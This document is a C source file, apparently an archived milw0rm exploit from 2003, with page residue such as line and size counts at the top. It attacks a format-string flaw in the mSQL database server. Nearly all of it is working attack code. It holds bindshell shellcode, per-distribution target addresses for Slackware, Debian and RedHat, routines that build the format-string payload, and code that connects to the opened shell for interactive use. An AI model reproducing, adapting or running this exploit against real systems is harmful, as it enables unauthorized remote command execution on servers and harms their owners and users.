540 lines
No EOL
14 KiB
C
540 lines
No EOL
14 KiB
C
/* _ ________ _____ ______
|
|
__ ___ ____ /____.------` /_______.------.___.----` ___/____ _______
|
|
_/ \ _ /\ __. __// ___/_ ___. /_\ /_ | _/
|
|
___ ._\ . \\ /__ _____/ _ / \_ | /__ | _| slc | _____ _
|
|
- -------\______||--._____\---._______//-|__ //-.___|----._____||
|
|
/ \ /
|
|
\/
|
|
[*] mSQL < remote gid root exploit by lucipher & The Itch (netric)
|
|
------------------------------------------------------------------------------
|
|
|
|
[*] Exploits a format string hole in mSQL.
|
|
|
|
[*] Some functions are taken from mSQL's sourcecode
|
|
|
|
Copyright (c) 2003 Netric Security and lucipher
|
|
All rights reserved.
|
|
|
|
THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
|
|
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
|
|
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
|
|
*/
|
|
|
|
#include <stdio.h> /* required by fatal() */
|
|
#include <stdlib.h>
|
|
#include <stdarg.h> /* required by fatal() */
|
|
#include <unistd.h>
|
|
#include <sys/types.h>
|
|
#include <sys/time.h>
|
|
#include <string.h>
|
|
#include <time.h>
|
|
#include <fcntl.h>
|
|
#include <arpa/inet.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <netdb.h>
|
|
#include <errno.h> /* required by errno */
|
|
#include <getopt.h> /* required by getopt() */
|
|
#include <signal.h>
|
|
|
|
#define PKT_LEN (128*1024)
|
|
#define ERR_BUF_LEN 200
|
|
#define resetError() bzero(msqlErrMsg,sizeof(msqlErrMsg))
|
|
#define chopError() { char *cp; cp = msqlErrMsg+strlen(msqlErrMsg) -1; \
|
|
if (*cp == '\n') *cp = 0;}
|
|
|
|
#define NET_READ(fd,b,l) read(fd,b,l)
|
|
#define NET_WRITE(fd,b,l) write(fd,b,l)
|
|
|
|
#define SERVER_GONE_ERROR "server has gone...\n"
|
|
#define UNKNOWN_ERROR "foo!"
|
|
|
|
static char msqlErrMsg[200];
|
|
static u_char packetBuf[PKT_LEN + 4];
|
|
static int readTimeout;
|
|
u_char *packet = NULL;
|
|
|
|
int netReadPacket(int fd);
|
|
int netWritePacket(int fd);
|
|
|
|
/* bindshell shellcode */
|
|
char linux_code[78] = /* binds on port 26112 */
|
|
"\x31\xdb\xf7\xe3\x53\x43\x53"
|
|
"\x6a\x02\x89\xe1\xb0\x66\x52"
|
|
"\x50\xcd\x80\x43\x66\x53\x89"
|
|
"\xe1\x6a\x10\x51\x50\x89\xe1"
|
|
"\x52\x50\xb0\x66\xcd\x80\x89"
|
|
"\xe1\xb3\x04\xb0\x66\xcd\x80"
|
|
"\x43\xb0\x66\xcd\x80\x89\xd9"
|
|
"\x93\xb0\x3f\xcd\x80\x49\x79"
|
|
"\xf9\x52\x68\x6e\x2f\x73\x68"
|
|
"\x68\x2f\x2f\x62\x69\x89\xe3"
|
|
"\x52\x53\x89\xe1\xb0\x0b\xcd"
|
|
"\x80";
|
|
|
|
static void intToBuf(cp, val)
|
|
u_char *cp;
|
|
int val;
|
|
{
|
|
*cp++ = (unsigned int) (val & 0x000000ff);
|
|
*cp++ = (unsigned int) (val & 0x0000ff00) >> 8;
|
|
*cp++ = (unsigned int) (val & 0x00ff0000) >> 16;
|
|
*cp++ = (unsigned int) (val & 0xff000000) >> 24;
|
|
}
|
|
|
|
static int bufToInt(cp)
|
|
u_char *cp;
|
|
{
|
|
int val;
|
|
|
|
val = 0;
|
|
val = *cp++;
|
|
val += ((int) *cp++) << 8;
|
|
val += ((int) *cp++) << 16;
|
|
val += ((int) *cp++) << 24;
|
|
return (val);
|
|
}
|
|
|
|
int netWritePacket(fd)
|
|
int fd;
|
|
{
|
|
int len, offset, remain, numBytes;
|
|
|
|
len = strlen((char *) packet);
|
|
intToBuf(packetBuf, len);
|
|
offset = 0;
|
|
remain = len + 4;
|
|
while (remain > 0) {
|
|
numBytes = NET_WRITE(fd, packetBuf + offset, remain);
|
|
if (numBytes == -1) {
|
|
return (-1);
|
|
}
|
|
offset += numBytes;
|
|
remain -= numBytes;
|
|
}
|
|
return (0);
|
|
}
|
|
|
|
int netReadPacket(fd)
|
|
int fd;
|
|
{
|
|
u_char buf[4];
|
|
int len, remain, offset, numBytes;
|
|
|
|
remain = 4;
|
|
offset = 0;
|
|
numBytes = 0;
|
|
readTimeout = 0;
|
|
while (remain > 0) {
|
|
/*
|
|
** We can't just set an alarm here as on lots of boxes
|
|
** both read and recv are non-interuptable. So, we
|
|
** wait till there something to read before we start
|
|
** reading in the server (not the client)
|
|
*/
|
|
if (!readTimeout) {
|
|
numBytes = NET_READ(fd, buf + offset, remain);
|
|
if (numBytes < 0 && errno != EINTR) {
|
|
fprintf(stderr,
|
|
"Socket read on %d for length failed : ",
|
|
fd);
|
|
|
|
perror("");
|
|
}
|
|
if (numBytes <= 0)
|
|
return (-1);
|
|
}
|
|
if (readTimeout)
|
|
break;
|
|
remain -= numBytes;
|
|
offset += numBytes;
|
|
|
|
}
|
|
len = bufToInt(buf);
|
|
if (len > PKT_LEN) {
|
|
fprintf(stderr, "Packet too large (%d)\n", len);
|
|
return (-1);
|
|
}
|
|
if (len < 0) {
|
|
fprintf(stderr, "Malformed packet\n");
|
|
return (-1);
|
|
}
|
|
remain = len;
|
|
offset = 0;
|
|
while (remain > 0) {
|
|
numBytes = NET_READ(fd, packet + offset, remain);
|
|
|
|
if (numBytes <= 0) {
|
|
return (-1);
|
|
}
|
|
remain -= numBytes;
|
|
offset += numBytes;
|
|
}
|
|
*(packet + len) = 0;
|
|
return (len);
|
|
}
|
|
|
|
int msqlSelectDB(int sock, char *db)
|
|
{
|
|
memset(msqlErrMsg, 0x0, sizeof(msqlErrMsg));
|
|
|
|
packet = packetBuf+4;
|
|
|
|
snprintf(packet, PKT_LEN, "%d:%s\n", 2, db);
|
|
netWritePacket(sock);
|
|
if (netReadPacket(sock) <= 0) {
|
|
strcpy(msqlErrMsg, SERVER_GONE_ERROR);
|
|
return (-1);
|
|
}
|
|
if (atoi(packet) == -1) {
|
|
char *cp;
|
|
|
|
cp = (char *) index(packet, ':');
|
|
if (cp) {
|
|
strcpy(msqlErrMsg, cp + 1);
|
|
chopError();
|
|
} else {
|
|
strcpy(msqlErrMsg, UNKNOWN_ERROR);
|
|
}
|
|
return (-1);
|
|
}
|
|
|
|
return (0);
|
|
}
|
|
|
|
struct target {
|
|
char *name; /* target description */
|
|
unsigned long writeaddr; /* mSQL's errMsg + 18 + 8 address */
|
|
unsigned long smashaddr; /* strcpy's GOT address */
|
|
unsigned long pops; /* number of stack pops */
|
|
};
|
|
|
|
/* high and low words indexers */
|
|
enum { hi, lo };
|
|
|
|
/* default values. */
|
|
struct target targets[] = {
|
|
/* name write smash pops */
|
|
{ "SlackWare 8.1 - mSQL 3.0p1", 0x80a169a, 0x080751ec, 113 },
|
|
{ "Debian 3.0 - mSQL 3.0p1", 134879034, 0x08075224, 113 },
|
|
{ "RedHat 8.0 - mSQL 3.0p1", 0x804b778, 0x08074c1c, 115 },
|
|
{ "RedHat 8.0 (II) - mSQL 3.0p1", 0x804b778, 0x08074c1c, 116 },
|
|
{ NULL, 0x0, 0x0, 0 }
|
|
};
|
|
|
|
void fatal(char *fmt, ...)
|
|
{
|
|
char buffer[1024];
|
|
va_list ap;
|
|
|
|
va_start(ap, fmt);
|
|
vsnprintf(buffer, sizeof (buffer) - 1, fmt, ap);
|
|
va_end(ap);
|
|
|
|
fprintf(stderr, "%s", buffer);
|
|
exit(1);
|
|
}
|
|
|
|
/* resolve a given hostname */
|
|
unsigned long tcp_resolv(char *hostname)
|
|
{
|
|
struct hostent *he;
|
|
unsigned long addr;
|
|
int n;
|
|
|
|
he = gethostbyname(hostname);
|
|
if (he == NULL) {
|
|
n = inet_aton(hostname, (struct in_addr *) addr);
|
|
if (n < 0)
|
|
fatal("inet_aton: %s\n", strerror(errno));
|
|
|
|
return addr;
|
|
}
|
|
|
|
return *(unsigned long *) he->h_addr;
|
|
}
|
|
|
|
/* routine to open a tcp/ip connection */
|
|
int tcp_connect(char *hostname, int port)
|
|
{
|
|
struct sockaddr_in sin;
|
|
int fd, n;
|
|
|
|
sin.sin_addr.s_addr = tcp_resolv(hostname);
|
|
sin.sin_family = AF_INET;
|
|
sin.sin_port = htons(port);
|
|
|
|
fd = socket(AF_INET, SOCK_STREAM, 6);
|
|
if (fd < 0)
|
|
return -1;
|
|
|
|
n = connect(fd, (struct sockaddr *) &sin, sizeof (sin));
|
|
if (n < 0)
|
|
return -1;
|
|
|
|
return fd;
|
|
}
|
|
|
|
int msql_login(char *hostname, unsigned short int port)
|
|
{
|
|
char buffer[300], *p;
|
|
int fd, n, opt;
|
|
|
|
fd = tcp_connect(hostname, port);
|
|
if (fd < 0)
|
|
fatal("[-] couldn't connect to host %s:%u\n", hostname, port);
|
|
|
|
setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, (char *) &opt, 4);
|
|
|
|
memset(&buffer, 0x0, sizeof(buffer));
|
|
n = read(fd, &buffer, sizeof(buffer) - 1);
|
|
if (n < 0)
|
|
fatal("[-] could not read socket: %s\n", strerror(errno));
|
|
|
|
p = (char *)&buffer + 4;
|
|
if (atoi(p) == -1)
|
|
fatal("[-] bad handshake received.\n");
|
|
p++;
|
|
if (*p != ':') p++;
|
|
p++;
|
|
if (*p >= '1' && *p <= '3') {
|
|
/* send buffer size within packet. */
|
|
buffer[0] = (unsigned int) (5UL & 0x000000ff);
|
|
buffer[1] = (unsigned int) (5UL & 0x0000ff00) >> 8;
|
|
buffer[2] = (unsigned int) (5UL & 0x00ff0000) >> 16;
|
|
buffer[3] = (unsigned int) (5UL & 0xff000000) >> 24;
|
|
/* sorta like our login. */
|
|
buffer[4] = 'r';
|
|
buffer[5] = 'o';
|
|
buffer[6] = 'o';
|
|
buffer[7] = 't';
|
|
buffer[8] = '\n';
|
|
buffer[9] = '\0';
|
|
|
|
write(fd, buffer, 9);
|
|
}
|
|
|
|
n = read(fd, buffer, sizeof(buffer) - 1);
|
|
if (n < 0)
|
|
fatal("[-] client failed in handshake.\n");
|
|
|
|
printf("[+] connected to %s -> %u\n", hostname, port);
|
|
return fd;
|
|
}
|
|
|
|
void msql_selectdb(int fd, char *database)
|
|
{
|
|
unsigned char buffer[300];
|
|
unsigned int len;
|
|
|
|
len = 117;
|
|
buffer[0] = (unsigned char)(len & 0x000000ff);
|
|
buffer[1] = (unsigned char)(len & 0x0000ff00) >> 8;
|
|
buffer[2] = (unsigned char)(len & 0x00ff0000) >> 16;
|
|
buffer[3] = (unsigned char)(len & 0xff000000) >> 24;
|
|
|
|
snprintf(&buffer[4], sizeof(buffer) - 1, "2:%s\n", database);
|
|
len = write(fd, &buffer[0], len);
|
|
|
|
}
|
|
|
|
void shell(int fd)
|
|
{
|
|
char buf[512];
|
|
fd_set rfds;
|
|
int l;
|
|
|
|
write(fd, "id ; uname -a\n", 14);
|
|
while (1) {
|
|
FD_SET(0, &rfds);
|
|
FD_SET(fd, &rfds);
|
|
select(fd + 1, &rfds, NULL, NULL, NULL);
|
|
|
|
if (FD_ISSET(0, &rfds)) {
|
|
l = read(0, buf, sizeof (buf));
|
|
if (l <= 0) {
|
|
perror("read user");
|
|
exit(EXIT_FAILURE);
|
|
}
|
|
write(fd, buf, l);
|
|
}
|
|
|
|
if (FD_ISSET(fd, &rfds)) {
|
|
l = read(fd, buf, sizeof (buf));
|
|
if (l == 0) {
|
|
fatal("connection closed by foreign host.\n");
|
|
} else if (l < 0) {
|
|
perror("read remote");
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
write(1, buf, l);
|
|
}
|
|
|
|
}
|
|
}
|
|
|
|
void usage(void)
|
|
{
|
|
fprintf(stderr, "mSQLexploit\n\n");
|
|
fprintf(stderr, " -l\t\tlist available targets.\n");
|
|
fprintf(stderr, " -t target\ttarget selection.\n");
|
|
fprintf(stderr, " *** MANUAL ATTACK ***\n");
|
|
fprintf(stderr, " -s [addr]\tsmash address.\n");
|
|
fprintf(stderr, " -w [addr]\twrite address.\n");
|
|
fprintf(stderr, " -p [num]\tnumber of pops.\n");
|
|
exit(1);
|
|
}
|
|
|
|
int main(int argc, char **argv)
|
|
{
|
|
struct target manual;
|
|
struct target *target = NULL;
|
|
unsigned short port = 0, addr[2];
|
|
unsigned char split[4];
|
|
char *hostname, buffer[200];
|
|
int fd, opt;
|
|
|
|
if (argc <= 1)
|
|
usage();
|
|
|
|
memset(&manual, 0x00, sizeof(struct target));
|
|
while ((opt = getopt(argc, argv, "lht:s:w:p:")) != EOF) {
|
|
switch (opt) {
|
|
case 't': /* pre-written target selection */
|
|
target = &targets[atoi(optarg)];
|
|
break;
|
|
case 'l':
|
|
{
|
|
int i;
|
|
/* iterate through the list of targets and display. */
|
|
for (i = 0; targets[i].name; i++)
|
|
printf("[%d] %s\n", i, targets[i].name);
|
|
|
|
exit(1);
|
|
}
|
|
case 'h':
|
|
/* print exploit usage information */
|
|
usage();
|
|
break; /* never reached */
|
|
case 's':
|
|
if (target == NULL)
|
|
target = &manual;
|
|
|
|
target->name = "Manual Target";
|
|
target->smashaddr = strtoul(optarg, NULL, 16);
|
|
break;
|
|
case 'w':
|
|
if (target == NULL)
|
|
target = &manual;
|
|
|
|
target->name = "Manual Target";
|
|
target->writeaddr = strtoul(optarg, NULL, 16) + 0x1a;
|
|
break;
|
|
case 'p':
|
|
if (target == NULL)
|
|
target = &manual;
|
|
target->name = "Manual Target";
|
|
target->pops = atoi(optarg);
|
|
}
|
|
}
|
|
|
|
argc -= optind;
|
|
argv += optind;
|
|
|
|
if (argc <= 0) {
|
|
fatal("choose a hostname and optionally a port\n");
|
|
} else if (argc == 1) {
|
|
hostname = argv[0];
|
|
} else {
|
|
hostname = argv[0];
|
|
port = atoi(argv[1]) & 0xff;
|
|
}
|
|
if (target != NULL) {
|
|
if (!strncmp(target->name, "Manual", 6))
|
|
if (!target->smashaddr || !target->writeaddr ||
|
|
!target->pops)
|
|
fatal("exploit requires pop count and "
|
|
"smash, write addresses: use -p and -w and -s "
|
|
"to set them\n");
|
|
} else {
|
|
target = &target[0];
|
|
}
|
|
|
|
printf("[+] attacking %s -> %u\n", hostname, (port) ? port : 1114);
|
|
|
|
fd = msql_login(hostname, (port) ? port : 1114);
|
|
|
|
printf("[+] name %s\n", target->name);
|
|
printf("[+] smash %08lx\n", target->smashaddr);
|
|
printf("[+] write %08lx\n", target->writeaddr);
|
|
printf("[+] Now building string...\n");
|
|
|
|
memset(&buffer, 0x0, sizeof(buffer));
|
|
|
|
addr[lo] = (target->writeaddr & 0x0000ffff);
|
|
addr[hi] = (target->writeaddr & 0xffff0000) >> 16;
|
|
|
|
/* split the address */
|
|
split[0] = (target->smashaddr & 0xff000000) >> 24;
|
|
split[1] = (target->smashaddr & 0x00ff0000) >> 16;
|
|
split[2] = (target->smashaddr & 0x0000ff00) >> 8;
|
|
split[3] = (target->smashaddr & 0x000000ff);
|
|
|
|
/* build the format string */
|
|
if (addr[hi] < addr[lo])
|
|
snprintf(buffer, sizeof(buffer),
|
|
"%c%c%c%c"
|
|
"%c%c%c%c"
|
|
|
|
"%s"
|
|
|
|
"%%.%du%%%ld$hn"
|
|
"%%.%du%%%ld$hn",
|
|
|
|
split[3] + 2, split[2], split[1], split[0],
|
|
split[3], split[2], split[1], split[0],
|
|
linux_code,
|
|
addr[hi] - 0x68, target->pops,
|
|
addr[lo] - addr[hi], target->pops + 1);
|
|
else
|
|
snprintf(buffer, sizeof(buffer),
|
|
"%c%c%c%c"
|
|
"%c%c%c%c"
|
|
|
|
"%s"
|
|
|
|
"%%.%du%%%ld$hn"
|
|
"%%.%du%%%ld$hn",
|
|
|
|
split[3] + 2, split[2], split[1], split[0],
|
|
split[3], split[2], split[1], split[0],
|
|
linux_code,
|
|
addr[lo] - 0x68, target->pops,
|
|
addr[hi] - addr[lo], target->pops + 1);
|
|
|
|
printf("[+] Trying to exploit...\n");
|
|
msqlSelectDB(fd, buffer);
|
|
switch (opt = fork()) {
|
|
case 0:
|
|
msqlSelectDB(fd, buffer);
|
|
exit(1);
|
|
case -1:
|
|
fatal("[-] failed fork()!\n");
|
|
default:
|
|
break;
|
|
}
|
|
|
|
printf("[+] sleeping...\n");
|
|
sleep(1);
|
|
opt = tcp_connect(hostname, 26112);
|
|
if (opt < 0)
|
|
fatal("[-] failed! couldn't connect to bindshell!\n");
|
|
|
|
printf("[+] shell!\n");
|
|
shell(opt);
|
|
|
|
return 0;
|
|
}
|
|
|
|
|
|
// milw0rm.com [2003-07-25]
|